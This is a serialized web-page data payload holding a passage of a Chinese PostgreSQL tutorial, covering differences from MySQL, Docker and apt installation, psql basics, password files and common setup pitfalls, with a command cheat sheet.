.snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}",{"title":314,"searchDepth":341,"depth":341,"links":36408},[36409,36417,36427,36435,36443,36451,36461,36468,36476,36486,36494,36502,36510,36516,36527,36533,36541,36548,36560],{"id":17624,"depth":341,"text":17625,"children":36410},[36411,36412,36413,36415,36416],{"id":17700,"depth":357,"text":17701},{"id":17939,"depth":357,"text":17940},{"id":18134,"depth":357,"text":36414},"挂载：createApp 与 mount 的关系",{"id":4795,"depth":357,"text":4796},{"id":18439,"depth":357,"text":18440},{"id":18567,"depth":341,"text":18568,"children":36418},[36419,36421,36423,36424,36425,36426],{"id":18581,"depth":357,"text":36420},"插值：{{ }} 是转义的，v-html 不是",{"id":18733,"depth":357,"text":36422},"动态属性：v-bind 与它的缩写 :",{"id":18902,"depth":357,"text":18903},{"id":18987,"depth":357,"text":18987},{"id":5640,"depth":357,"text":4796},{"id":19241,"depth":357,"text":19242},{"id":19474,"depth":341,"text":19475,"children":36428},[36429,36431,36432,36433,36434],{"id":19538,"depth":357,"text":36430},"条件：v-if 与 v-show 选哪个",{"id":19641,"depth":357,"text":19642},{"id":19901,"depth":357,"text":19902},{"id":6605,"depth":357,"text":4796},{"id":20193,"depth":357,"text":20194},{"id":20515,"depth":341,"text":20516,"children":36436},[36437,36438,36439,36441,36442],{"id":20537,"depth":357,"text":20538},{"id":20762,"depth":357,"text":20763},{"id":20899,"depth":357,"text":36440},"局部跳过响应式：shallowRef、shallowReactive、markRaw、toRaw",{"id":7628,"depth":357,"text":4796},{"id":21211,"depth":357,"text":21212},{"id":21417,"depth":341,"text":21418,"children":36444},[36445,36446,36447,36448,36449,36450],{"id":21436,"depth":357,"text":21437},{"id":21638,"depth":357,"text":21639},{"id":21754,"depth":357,"text":21755},{"id":22015,"depth":357,"text":22016},{"id":8718,"depth":357,"text":4796},{"id":22273,"depth":357,"text":22274},{"id":22439,"depth":341,"text":22440,"children":36452},[36453,36455,36457,36458,36459,36460],{"id":22455,"depth":357,"text":36454},"事件：@click 后面能写什么",{"id":22634,"depth":357,"text":36456},"修饰符：省掉那些 e.stopPropagation()",{"id":22828,"depth":357,"text":22829},{"id":23091,"depth":357,"text":23092},{"id":9858,"depth":357,"text":4796},{"id":23640,"depth":357,"text":23641},{"id":23804,"depth":341,"text":23805,"children":36462},[36463,36464,36465,36466,36467],{"id":23811,"depth":357,"text":23812},{"id":23974,"depth":357,"text":23975},{"id":24115,"depth":357,"text":24116},{"id":10769,"depth":357,"text":4796},{"id":24326,"depth":357,"text":24327},{"id":24426,"depth":341,"text":24427,"children":36469},[36470,36471,36472,36473,36474,36475],{"id":24437,"depth":357,"text":24437},{"id":24581,"depth":357,"text":24582},{"id":24666,"depth":357,"text":24666},{"id":24894,"depth":357,"text":24894},{"id":11493,"depth":357,"text":4796},{"id":25073,"depth":357,"text":25074},{"id":25148,"depth":341,"text":25149,"children":36477},[36478,36479,36480,36481,36482,36484,36485],{"id":25159,"depth":357,"text":25160},{"id":25393,"depth":357,"text":25394},{"id":25516,"depth":357,"text":25517},{"id":25705,"depth":357,"text":25706},{"id":25975,"depth":357,"text":36483},"兜底透传：$attrs",{"id":12191,"depth":357,"text":4796},{"id":26226,"depth":357,"text":26227},{"id":26339,"depth":341,"text":26340,"children":36487},[36488,36489,36490,36492,36493],{"id":26346,"depth":357,"text":26346},{"id":26558,"depth":357,"text":26559},{"id":26814,"depth":357,"text":36491},"动态插槽名与 v-slot 全貌",{"id":13368,"depth":357,"text":4796},{"id":26985,"depth":357,"text":26986},{"id":27124,"depth":341,"text":27125,"children":36495},[36496,36497,36498,36499,36500,36501],{"id":27136,"depth":357,"text":27136},{"id":27403,"depth":357,"text":27404},{"id":27442,"depth":357,"text":27443},{"id":27685,"depth":357,"text":27685},{"id":14070,"depth":357,"text":4796},{"id":27888,"depth":357,"text":27889},{"id":27993,"depth":341,"text":27994,"children":36503},[36504,36505,36507,36508,36509],{"id":28003,"depth":357,"text":28003},{"id":28236,"depth":357,"text":36506},"DOM 是异步更新的：nextTick",{"id":28326,"depth":357,"text":28327},{"id":14902,"depth":357,"text":4796},{"id":28652,"depth":357,"text":28653},{"id":28794,"depth":341,"text":28795,"children":36511},[36512,36513,36514,36515],{"id":28801,"depth":357,"text":28802},{"id":29096,"depth":357,"text":29097},{"id":15719,"depth":357,"text":4796},{"id":29724,"depth":357,"text":29725},{"id":29815,"depth":341,"text":29816,"children":36517},[36518,36520,36521,36523,36525,36526],{"id":29822,"depth":357,"text":36519},"动态组件：\u003Ccomponent :is>",{"id":30011,"depth":357,"text":30012},{"id":30144,"depth":357,"text":36522},"异步组件与 Suspense",{"id":30247,"depth":357,"text":36524},"defineExpose：\u003Cscript setup> 默认是封闭的",{"id":16464,"depth":357,"text":4796},{"id":30475,"depth":357,"text":30476},{"id":30562,"depth":341,"text":30563,"children":36528},[36529,36530,36531,36532],{"id":30576,"depth":357,"text":30576},{"id":31140,"depth":357,"text":31141},{"id":31262,"depth":357,"text":4796},{"id":31375,"depth":357,"text":31376},{"id":31452,"depth":341,"text":31453,"children":36534},[36535,36536,36537,36538,36539,36540],{"id":31463,"depth":357,"text":31463},{"id":31978,"depth":357,"text":31979},{"id":32060,"depth":357,"text":32060},{"id":32259,"depth":357,"text":32260},{"id":32485,"depth":357,"text":4796},{"id":32640,"depth":357,"text":32641},{"id":32837,"depth":341,"text":32838,"children":36542},[36543,36544,36545,36546,36547],{"id":32844,"depth":357,"text":32845},{"id":32904,"depth":357,"text":32905},{"id":33643,"depth":357,"text":33644},{"id":34389,"depth":357,"text":34390},{"id":34654,"depth":357,"text":34654},{"id":34782,"depth":341,"text":34783,"children":36549},[36550,36551,36552,36553,36555,36556,36557,36558,36559],{"id":34796,"depth":357,"text":34797},{"id":34917,"depth":357,"text":34917},{"id":35060,"depth":357,"text":35061},{"id":35249,"depth":357,"text":36554},"环境变量：只有 VITE_ 开头的才会进前端",{"id":35377,"depth":357,"text":35378},{"id":35425,"depth":357,"text":35425},{"id":35499,"depth":357,"text":35500},{"id":35754,"depth":357,"text":4796},{"id":35867,"depth":357,"text":35868},{"id":35984,"depth":341,"text":35985,"children":36561},[36562,36563,36564],{"id":16892,"depth":357,"text":16892},{"id":36230,"depth":357,"text":36230},{"id":36357,"depth":357,"text":36357},"vue3","\u002Fimg\u002Fvue3-cover.svg","零基础入门 Vue 3：模板语法、响应式、组件、插槽、生命周期、Pinia 与 Vue Router，19 章循序渐进，每章配可运行示例，末章汇总常见坑。",{},"\u002Ftutorials\u002Fvue3",{"title":17599,"description":36567},{"loc":36569},"tutorials\u002Fvue3","3MbC8y6EV8o8lSsVbowsH61wWOMdo_TRltOZLiJBilQ",{"id":36575,"title":36576,"body":36577,"category":45605,"cover":45606,"date":45607,"description":45608,"extension":4549,"meta":45609,"navigation":997,"path":45610,"seo":45611,"sitemap":45612,"stem":45613,"__hash__":45614},"tutorials\u002Ftutorials\u002Fpostgresql.md","PostgreSQL 教程：从建表查询到全文搜索与向量检索",{"type":8,"value":36578,"toc":45503},[36579,36583,36589,36596,36759,36762,36765,36772,36776,36779,36789,36808,36818,36839,36843,36846,36850,36853,36921,36924,36956,36962,36995,36999,37051,37054,37103,37122,37126,37145,37160,37165,37169,37192,37194,37209,37223,37239,37253,37265,37275,37287,37291,37455,37459,37462,37466,37476,37482,37543,37554,37558,37575,37582,37588,37598,37613,37635,37639,37666,37696,37699,37703,37789,37794,37796,37811,37821,37831,37848,37876,37890,37894,37911,37914,37933,37937,37943,37983,37986,38001,38007,38033,38037,38178,38189,38192,38274,38280,38284,38295,38395,38407,38413,38467,38480,38495,38499,38502,38545,38572,38574,38577,38601,38674,38682,38688,38697,38716,38751,38767,38777,38786,38793,38824,38834,38843,38850,38881,38913,38916,38947,38950,39260,39263,39480,39483,39681,39687,39822,39828,39848,39855,39858,39869,40483,40488,40492,40498,40502,40536,40569,40573,40602,40605,40609,40615,40634,40644,40683,40695,40739,40753,40757,40759,40767,40782,40805,40815,40830,40838,40847,40853,40872,40892,40913,40931,40940,40944,40947,40951,40986,41001,41005,41048,41063,41067,41086,41089,41114,41124,41128,41137,41210,41226,41230,41232,41240,41255,41266,41275,41295,41308,41328,41358,41372,41386,41390,41495,41548,41552,41569,41573,41642,41645,41670,41674,41677,41696,41702,41741,41745,41753,41759,41769,41773,41775,41784,41834,41840,41848,41887,41897,41923,41939,41943,41946,41950,41969,41987,41991,42000,42029,42033,42043,42052,42061,42076,42079,42093,42102,42107,42109,42122,42152,42171,42180,42195,42202,42220,42238,42250,42254,42312,42426,42430,42437,42441,42444,42517,42520,42524,42538,42558,42565,42569,42587,42636,42646,42650,42652,42658,42663,42669,42676,42694,42709,42715,42729,42735,42741,42748,42754,42758,42846,42850,42854,42878,42885,42894,42901,42905,42911,42950,42957,42961,42964,43002,43005,43054,43060,43067,43096,43098,43108,43131,43141,43166,43176,43180,43183,43187,43205,43273,43294,43328,43332,43335,43408,43418,43434,43438,43441,43470,43477,43479,43492,43509,43538,43558,43568,43583,43595,43611,43626,43630,43633,43722,43726,43734,43806,43810,43817,43821,43904,43924,43930,43936,43940,43958,43964,43979,43981,43993,43999,44016,44028,44034,44038,44112,44119,44123,44127,44146,44150,44184,44212,44218,44221,44225,44231,44275,44293,44299,44303,44305,44315,44321,44340,44354,44372,44385,44403,44407,44478,44528,44532,44535,44539,44615,44618,44658,44676,44678,44692,44710,44723,44735,44745,44748,44752,44756,44836,44840,44847,44851,44942,44949,44953,44963,44978,44985,45010,45013,45017,45020,45083,45090,45094,45096,45109,45130,45139,45152,45158,45162,45218,45309,45313,45316,45494,45497,45500],[48,36580,36582],{"id":36581},"一为什么是-postgresql先看清它和你熟悉的-mysql-差在哪","一、为什么是 PostgreSQL：先看清它和你熟悉的 MySQL 差在哪",[11,36584,36585,36586,161],{},"先还原一个常见场景。你写了多年 Java，库一直是 MySQL，MyBatis 一把梭；新项目立起来了，需求栏里躺着三行字：商品搜索要支持联想与相关度排序、App 要找「3 公里内的门店」、客服知识库要做语义检索。用 MySQL，这三件事意味着引入三个独立组件（Elasticsearch、专门的地理服务、向量数据库）；用 PostgreSQL，答案全是同一句：",[17,36587,36588],{},"装个扩展就行",[11,36590,36591,36592,36595],{},"这也是很多团队切 PG 的真实动机——不是因为它「更强」，而是因为它能",[17,36593,36594],{},"少养几个系统","。但动手之前，有几处差异值得先钉在墙上：",[57,36597,36598,36614],{},[60,36599,36600],{},[63,36601,36602,36605,36608,36611],{},[66,36603,36604],{},"维度",[66,36606,36607],{},"MySQL",[66,36609,36610],{},"PostgreSQL",[66,36612,36613],{},"对你的影响",[79,36615,36616,36630,36644,36658,36672,36689,36703,36720,36745],{},[63,36617,36618,36621,36624,36627],{},[84,36619,36620],{},"SQL 标准与查询能力",[84,36622,36623],{},"够用，窗口\u002FCTE 补齐较晚",[84,36625,36626],{},"以「标准超集」著称：递归 CTE、DISTINCT ON、FILTER 聚合、LATERAL 都是原生能力",[84,36628,36629],{},"复杂报表、树遍历类需求少绕很多弯",[63,36631,36632,36635,36638,36641],{},[84,36633,36634],{},"类型系统",[84,36636,36637],{},"数值 \u002F 字符串 \u002F 时间 \u002F JSON",[84,36639,36640],{},"多出数组、区间、jsonb、枚举、自定义类型",[84,36642,36643],{},"「逗号分隔字符串存多值」这类反模式在 PG 没有存在理由",[63,36645,36646,36649,36652,36655],{},[84,36647,36648],{},"MVCC 实现",[84,36650,36651],{},"回滚段 undo log",[84,36653,36654],{},"每行多版本元组，读不加锁",[84,36656,36657],{},"第九章整章都在讲它带来的行为差异",[63,36659,36660,36663,36666,36669],{},[84,36661,36662],{},"默认隔离级别",[84,36664,36665],{},"REPEATABLE READ",[84,36667,36668],{},"READ COMMITTED",[84,36670,36671],{},"语义不同，迁移时最容易想当然",[63,36673,36674,36677,36680,36686],{},[84,36675,36676],{},"外键自动建索引",[84,36678,36679],{},"InnoDB 会",[84,36681,36682,36685],{},[17,36683,36684],{},"不会","，要自己建",[84,36687,36688],{},"第七章的大坑，先记下",[63,36690,36691,36694,36697,36700],{},[84,36692,36693],{},"扩展生态",[84,36695,36696],{},"插件相对少",[84,36698,36699],{},"全文搜索 \u002F PostGIS \u002F pgvector 都是「一个扩展装完就能用」",[84,36701,36702],{},"第十三到十五章的三大主角",[63,36704,36705,36708,36711,36717],{},[84,36706,36707],{},"连接模型",[84,36709,36710],{},"每连接一个线程",[84,36712,36713,36714],{},"每连接一个",[17,36715,36716],{},"进程",[84,36718,36719],{},"连接更贵，连接池几乎是必选项",[63,36721,36722,36725,36731,36742],{},[84,36723,36724],{},"标识符大小写",[84,36726,36727,36728],{},"表名大小写敏感性取决于 ",[22,36729,36730],{},"lower_case_table_names",[84,36732,36733,36734,36737,36738,36741],{},"不加引号的标识符",[17,36735,36736],{},"一律转小写","；建表时用了 ",[22,36739,36740],{},"\"Users\""," 这种带引号的大写，以后每次查询都得引号伺候",[84,36743,36744],{},"建表 SQL 里对标识符一律不加双引号",[63,36746,36747,36750,36753,36756],{},[84,36748,36749],{},"许可协议",[84,36751,36752],{},"GPL（商业需授权）",[84,36754,36755],{},"PostgreSQL License（类 MIT）",[84,36757,36758],{},"商用无负担",[53,36760,36761],{"id":36761},"这门课的路线图",[11,36763,36764],{},"第二到十二章是地基：安装连接 → 基本结构 → 建表 → 单表查询 → 函数 → 多表 → 索引 → 事务与锁 → 视图与 CTE → 权限 → 备份恢复。第十三到十五章是三个扩展专题（全文搜索 \u002F 地理位置 \u002F 向量），可以按需跳读，也可以顺着读——它们正好是第一章那张对比表里「扩展生态」的现场证明。第十六章是一份上线核对清单。",[11,36766,36767,36768,36771],{},"浏览器里跑不了 SQL，所以示例沿用 Linux \u002F Docker 教程的做法：",[17,36769,36770],{},"写死真实输出的模拟终端","，点按钮逐条回放命令与 psql 的真实打印；三个扩展章节另配了可交互的小页面——数据是静态样本，但打分、测距、找近邻的计算是真算，不是录像。",[53,36773,36775],{"id":36774},"️-两处最容易想当然的差异","⚠️ 两处最容易想当然的差异",[11,36777,36778],{},"上面那张表里，有两行值得在动手前先展开说透，它们会贯穿整门课。",[11,36780,36781,36784,36785,36788],{},[17,36782,36783],{},"每连接一个进程。"," MySQL 里一个连接是一个线程，PG 里主进程 ",[22,36786,36787],{},"postmaster"," 会为每个连接 fork 一个 backend 进程，内存几 MB 起步。两个直接推论：",[1659,36790,36791,36798],{},[1662,36792,36793,36794,36797],{},"连接是贵重资源，",[22,36795,36796],{},"max_connections"," 别照 MySQL 的习惯开几千——100~300 之间，前面再顶一层 PgBouncer 连接池（对习惯 HikariCP 的 Java 同学来说：应用的池要收小，池外面还有一层池）；",[1662,36799,36800,36801,36804,36805,161],{},"进程模型换来一套独特的崩溃语义：单条 SQL 报错只影响它自己；但如果某个 backend 真的段错误了，postmaster 的策略是",[17,36802,36803],{},"把全部连接断开、重置共享内存再迎接新连接","——宁可全体重启，也不带病运行。线上看到「一夜之间所有连接同时断开重连」，先去翻 PG 日志里的 ",[22,36806,36807],{},"server process was terminated by signal",[11,36809,36810,36813,36814,36817],{},[17,36811,36812],{},"默认隔离级别不同。"," MySQL InnoDB 默认 REPEATABLE READ，PG 默认 READ COMMITTED。看着是配置差异，实际是行为差异：同一个事务里两次执行相同的 SELECT，MySQL 默认读到同一个结果，PG 默认第二次能看到别人",[17,36815,36816],{},"已提交","的新数据。如果迁移过来的代码依赖「事务内复读」，第九章会给出三种处理姿势。",[11,36819,36820,36821,36824,36825,36828,36829,36832,36833,36836,36837,161],{},"还有一条建表当天就会碰到的：",[17,36822,36823],{},"不加引号的标识符一律转小写","。写成 ",[22,36826,36827],{},"CREATE TABLE \"Users\" (...)"," 之后，每次查询都得 ",[22,36830,36831],{},"\"users\""," 带引号伺候，漏一次就报 ",[22,36834,36835],{},"relation \"users\" does not exist","。规矩很简单——",[17,36838,36744],{},[48,36840,36842],{"id":36841},"二安装与第一次连接三种姿势与-psql-的肌肉记忆","二、安装与第一次连接：三种姿势与 psql 的肌肉记忆",[11,36844,36845],{},"本章分三段：先一条命令把库起起来连上（第一步），再看三种安装姿势和 psql 的基本功（第二到四步），章末集中放这一章会撞的坑与命令速查表。",[53,36847,36849],{"id":36848},"第一步一条命令起一个能连的库","第一步：一条命令起一个能连的库",[11,36851,36852],{},"本地想有个能折腾的 PG，Docker 最省事：",[308,36854,36856],{"className":3902,"code":36855,"language":3904,"meta":314,"style":314},"docker run -d --name pg-lab \\\n  -e POSTGRES_PASSWORD=lab123456 \\\n  -e POSTGRES_DB=shop \\\n  -p 5432:5432 \\\n  -v pg-lab-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata \\\n  postgres:17\n",[22,36857,36858,36877,36887,36896,36906,36916],{"__ignoreMap":314},[331,36859,36860,36863,36865,36868,36871,36874],{"class":333,"line":334},[331,36861,36862],{"class":501},"docker",[331,36864,5020],{"class":365},[331,36866,36867],{"class":344}," -d",[331,36869,36870],{"class":344}," --name",[331,36872,36873],{"class":365}," pg-lab",[331,36875,36876],{"class":344}," \\\n",[331,36878,36879,36882,36885],{"class":333,"line":341},[331,36880,36881],{"class":344},"  -e",[331,36883,36884],{"class":365}," POSTGRES_PASSWORD=lab123456",[331,36886,36876],{"class":344},[331,36888,36889,36891,36894],{"class":333,"line":357},[331,36890,36881],{"class":344},[331,36892,36893],{"class":365}," POSTGRES_DB=shop",[331,36895,36876],{"class":344},[331,36897,36898,36901,36904],{"class":333,"line":371},[331,36899,36900],{"class":344},"  -p",[331,36902,36903],{"class":365}," 5432:5432",[331,36905,36876],{"class":344},[331,36907,36908,36911,36914],{"class":333,"line":384},[331,36909,36910],{"class":344},"  -v",[331,36912,36913],{"class":365}," pg-lab-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata",[331,36915,36876],{"class":344},[331,36917,36918],{"class":333,"line":397},[331,36919,36920],{"class":365},"  postgres:17\n",[11,36922,36923],{},"等两三秒，连上去：",[308,36925,36927],{"className":3902,"code":36926,"language":3904,"meta":314,"style":314},"psql -h 127.0.0.1 -p 5432 -U postgres -d shop\n",[22,36928,36929],{"__ignoreMap":314},[331,36930,36931,36934,36936,36939,36942,36945,36948,36951,36953],{"class":333,"line":334},[331,36932,36933],{"class":501},"psql",[331,36935,16456],{"class":344},[331,36937,36938],{"class":344}," 127.0.0.1",[331,36940,36941],{"class":344}," -p",[331,36943,36944],{"class":344}," 5432",[331,36946,36947],{"class":344}," -U",[331,36949,36950],{"class":365}," postgres",[331,36952,36867],{"class":344},[331,36954,36955],{"class":365}," shop\n",[308,36957,36960],{"className":36958,"code":36959,"language":313,"meta":314},[311],"psql (17.x)\nType \"help\" for help.\n\nshop=# SELECT version();\n                          version\n-----------------------------------------------------------\n PostgreSQL 17.x on x86_64-pc-linux-gnu, compiled by gcc...\n(1 row)\n",[22,36961,36959],{"__ignoreMap":314},[11,36963,36964,36965,36968,36969,36971,36972,161,36975,36978,36979,36982,36983,36986,36987,36990,36991,36994],{},"看到提示符变成 ",[22,36966,36967],{},"shop=#"," 就连上了：",[22,36970,20333],{}," 表示超级用户，普通用户是 ",[22,36973,36974],{},"shop=>",[22,36976,36977],{},"\\q"," 退出。四个参数的含义：",[22,36980,36981],{},"POSTGRES_PASSWORD"," 必填（缺了容器直接起不来）、",[22,36984,36985],{},"POSTGRES_DB"," 顺手建好第一个业务库、",[22,36988,36989],{},"-p"," 把容器内 5432 映射到宿主、",[22,36992,36993],{},"-v"," 挂的卷是数据本体。",[53,36996,36998],{"id":36997},"第二步三种安装方式选一种就够","第二步：三种安装方式，选一种就够",[57,37000,37001,37012],{},[60,37002,37003],{},[63,37004,37005,37007,37009],{},[66,37006,24591],{},[66,37008,3834],{},[66,37010,37011],{},"关键点",[79,37013,37014,37029,37040],{},[63,37015,37016,37019,37022],{},[84,37017,37018],{},"Docker",[84,37020,37021],{},"跟着本教程做实验、本机多版本并存",[84,37023,37024,37025,37028],{},"数据必须挂数据卷，否则 ",[22,37026,37027],{},"docker rm"," 之日就是数据消失之时（Docker 教程第九章算过这笔账）",[63,37030,37031,37034,37037],{},[84,37032,37033],{},"系统包管理器（PGDG 源）",[84,37035,37036],{},"Linux 服务器长期运行",[84,37038,37039],{},"Debian\u002FUbuntu 官方源版本偏旧，加 PGDG 源拿新版本",[63,37041,37042,37045,37048],{},[84,37043,37044],{},"Windows 安装器",[84,37046,37047],{},"本机只想有个能连的库",[84,37049,37050],{},"EDB 安装器一路下一步，装完自带 pgAdmin 图形客户端",[11,37052,37053],{},"服务器上长期跑，用包管理器：",[308,37055,37057],{"className":3902,"code":37056,"language":3904,"meta":314,"style":314},"sudo apt install postgresql-17          # 先按官方文档加 PGDG 源\nsudo systemctl status postgresql@17-main\nsudo -u postgres psql                   # 本地 peer 认证，免密直接进\n",[22,37058,37059,37075,37088],{"__ignoreMap":314},[331,37060,37061,37064,37067,37069,37072],{"class":333,"line":334},[331,37062,37063],{"class":501},"sudo",[331,37065,37066],{"class":365}," apt",[331,37068,13016],{"class":365},[331,37070,37071],{"class":365}," postgresql-17",[331,37073,37074],{"class":1003},"          # 先按官方文档加 PGDG 源\n",[331,37076,37077,37079,37082,37085],{"class":333,"line":341},[331,37078,37063],{"class":501},[331,37080,37081],{"class":365}," systemctl",[331,37083,37084],{"class":365}," status",[331,37086,37087],{"class":365}," postgresql@17-main\n",[331,37089,37090,37092,37095,37097,37100],{"class":333,"line":357},[331,37091,37063],{"class":501},[331,37093,37094],{"class":344}," -u",[331,37096,36950],{"class":365},[331,37098,37099],{"class":365}," psql",[331,37101,37102],{"class":1003},"                   # 本地 peer 认证，免密直接进\n",[11,37104,37105,37106,37109,37110,37113,37114,37117,37118,37121],{},"Debian 系装完会自动 initdb 一个「数据库簇」，并创建同名 OS 用户 ",[22,37107,37108],{},"postgres","（数据库管理员同体），",[22,37111,37112],{},"sudo -u postgres psql"," 相当于 MySQL 里的 ",[22,37115,37116],{},"mysql -u root"," 免密进。另外容器场景有个偷懒通道：",[22,37119,37120],{},"docker exec -it pg-lab psql -U postgres -d shop","，走容器内部 socket，不用输密码——只限实验环境。",[53,37123,37125],{"id":37124},"第三步psql-里先练这四个命令","第三步：psql 里先练这四个命令",[11,37127,37128,37129,37132,37133,37136,37137,37140,37141,37144],{},"连上之后，日常 90% 的操作就四个：",[22,37130,37131],{},"\\dt"," 看有哪些表、",[22,37134,37135],{},"\\d 表名"," 看单表结构、",[22,37138,37139],{},"\\l"," 看有哪些库、",[22,37142,37143],{},"\\timing on"," 打印每条 SQL 的耗时。",[11,37146,37147,37149,37150,37152,37153,272,37156,37159],{},[22,37148,6549],{}," 是用得最多的一个：建完表不用猜索引建没建对，",[22,37151,37135],{}," 一屏把列、类型、索引、约束全看到。完整命令表（含 ",[22,37154,37155],{},"\\x",[22,37157,37158],{},"\\copy"," 等）在本章末尾的速查区。",[4748,37161],{"height":37162,"src":37163,"title":37164},460,"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F02-install-psql.html","示例 02：安装与第一次连接——psql 基本功",[53,37166,37168],{"id":37167},"第四步不想每次输密码","第四步：不想每次输密码",[11,37170,37171,37172,37175,37176,37179,37180,37183,37184,37187,37188,37191],{},"不想每次交互输密码，两种姿势：临时用环境变量 ",[22,37173,37174],{},"PGPASSWORD=... psql ...","；长期用 ",[22,37177,37178],{},"~\u002F.pgpass","，格式一行一条 ",[22,37181,37182],{},"主机:端口:数据库:用户:密码","。超级用户第一件事建议 ",[22,37185,37186],{},"\\password"," 改掉弱密码——谁能连、用什么方式认证，由 ",[22,37189,37190],{},"pg_hba.conf"," 把关，第十一章展开。",[53,37193,4796],{"id":4795},[11,37195,37196,268,37202,37205,37206,37208],{},[17,37197,37198,37199,37201],{},"1. 没挂数据卷 = ",[22,37200,37027],{}," 之后数据全没。",[22,37203,37204],{},"-v pg-lab-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata"," 这一行是数据本体，删容器不带 ",[22,37207,36993],{}," 参数的重建就是清库。",[11,37210,37211,37214,37215,272,37217,37219,37220,4813],{},[17,37212,37213],{},"2. 只有卷为空时才会 initdb。"," 所以改了 ",[22,37216,36981],{},[22,37218,36985],{}," 这些环境变量，重启老容器不会生效——它们只在第一次初始化时起作用。想重来，得连卷一起删（",[22,37221,37222],{},"docker volume rm pg-lab-data",[11,37224,37225,37231,37232,37235,37236,37238],{},[17,37226,37227,37228,161],{},"3. 镜像 tag 写大版本号，别写 ",[22,37229,37230],{},"latest"," 跨大版本（16 → 17）不是换个 tag 拉个新镜像就完事，要靠 ",[22,37233,37234],{},"pg_upgrade"," 迁移；写 ",[22,37237,37230],{}," 等于把版本交给别人决定。",[11,37240,37241,37248,37249,37252],{},[17,37242,37243,37244,37247],{},"4. SQL 必须以 ",[22,37245,37246],{},";"," 结尾才执行。"," 多行语句写到一半没分号，提示符会变成 ",[22,37250,37251],{},"shop-"," 静静等你，看着像「卡死」，其实是它以为你还没写完——补个分号回车就回来了。",[11,37254,37255,37261,37262,161],{},[17,37256,9903,37257,37260],{},[22,37258,37259],{},".pgpass"," 权限不是 600 会被直接忽略。"," PG 认为别人能读的密码文件不可信，报的还是「密码认证失败」这种不相干的错，很难往这上面想。",[22,37263,37264],{},"chmod 600 ~\u002F.pgpass",[11,37266,37267,37270,37271,37274],{},[17,37268,37269],{},"6. Debian\u002FUbuntu 官方源的版本偏旧。"," 想跟这门课用 17，要按官方文档加 PGDG 源，否则 ",[22,37272,37273],{},"apt install postgresql"," 装出来的是十几年前语义的老版本。",[11,37276,37277,37283,37284,37286],{},[17,37278,5772,37279,37282],{},[22,37280,37281],{},"docker exec"," 那条免密通道只限实验。"," 它走容器内部 socket，绕过了 ",[22,37285,37190],{}," 的密码认证；生产环境照抄等于给自己留了个免认证入口。",[53,37288,37290],{"id":37289},"附psql-反斜杠命令速查","附：psql 反斜杠命令速查",[57,37292,37293,37305],{},[60,37294,37295],{},[63,37296,37297,37300,37302],{},[66,37298,37299],{},"反斜杠命令",[66,37301,7759],{},[66,37303,37304],{},"MySQL 里的对应",[79,37306,37307,37321,37336,37350,37370,37383,37398,37410,37425,37440],{},[63,37308,37309,37313,37316],{},[84,37310,37311],{},[22,37312,37139],{},[84,37314,37315],{},"列出所有数据库",[84,37317,37318],{},[22,37319,37320],{},"SHOW DATABASES",[63,37322,37323,37328,37331],{},[84,37324,37325],{},[22,37326,37327],{},"\\c shop",[84,37329,37330],{},"切换数据库",[84,37332,37333],{},[22,37334,37335],{},"USE shop",[63,37337,37338,37342,37345],{},[84,37339,37340],{},[22,37341,37131],{},[84,37343,37344],{},"列出当前 schema 的表",[84,37346,37347],{},[22,37348,37349],{},"SHOW TABLES",[63,37351,37352,37357,37364],{},[84,37353,37354],{},[22,37355,37356],{},"\\d orders",[84,37358,37359,37360,37363],{},"看表结构：列、类型、",[17,37361,37362],{},"索引、约束","一起看",[84,37365,37366,37369],{},[22,37367,37368],{},"DESC orders"," 的加强版",[63,37371,37372,37377,37380],{},[84,37373,37374],{},[22,37375,37376],{},"\\dn",[84,37378,37379],{},"列出所有 schema",[84,37381,37382],{},"无对应",[63,37384,37385,37390,37393],{},[84,37386,37387],{},[22,37388,37389],{},"\\du",[84,37391,37392],{},"列出角色与成员关系",[84,37394,37395],{},[22,37396,37397],{},"SELECT user, host FROM mysql.user",[63,37399,37400,37404,37407],{},[84,37401,37402],{},[22,37403,37143],{},[84,37405,37406],{},"之后每条 SQL 打印执行耗时",[84,37408,37409],{},"无对应，调优刚需",[63,37411,37412,37417,37420],{},[84,37413,37414],{},[22,37415,37416],{},"\\x on",[84,37418,37419],{},"宽表竖排显示（列多时救命）",[84,37421,37422],{},[22,37423,37424],{},"\\G",[63,37426,37427,37432,37435],{},[84,37428,37429],{},[22,37430,37431],{},"\\i init.sql",[84,37433,37434],{},"执行脚本文件",[84,37436,37437],{},[22,37438,37439],{},"SOURCE",[63,37441,37442,37446,37449],{},[84,37443,37444],{},[22,37445,37158],{},[84,37447,37448],{},"导入导出 CSV",[84,37450,37451,37454],{},[22,37452,37453],{},"LOAD DATA INFILE","（第十二章细讲）",[48,37456,37458],{"id":37457},"三基本结构实例数据库schema-与表多出来的那一层是什么","三、基本结构：实例、数据库、schema 与表——多出来的那一层是什么",[11,37460,37461],{},"本章分三段：先看清 PG 比 MySQL 多出来的那层是什么（第一步），再动手建一个 schema 把表放进去（第二步），然后把建库时一次定死、事后改不了的几件事放到前面（第三、四步），章末集中收坑。",[53,37463,37465],{"id":37464},"第一步多出来的那一层是-schema","第一步：多出来的那一层是 schema",[11,37467,37468,37469,37471,37472,37475],{},"PG 的层级比 MySQL 多一层。一个实例（",[22,37470,36787],{}," 进程 + 共享内存 + 一份数据目录，官方术语叫 ",[17,37473,37474],{},"cluster","，数据库簇——和「分库分表集群」不是一个东西，别被名字吓到）下面挂多个 database，database 里再分 schema，schema 里才是表、序列、函数、视图：",[308,37477,37480],{"className":37478,"code":37479,"language":313,"meta":314},[311],"实例（postmaster + 共享内存 + 数据目录，官方叫 cluster）\n ├── 数据库 postgres        —— 管理员的常驻地\n ├── 数据库 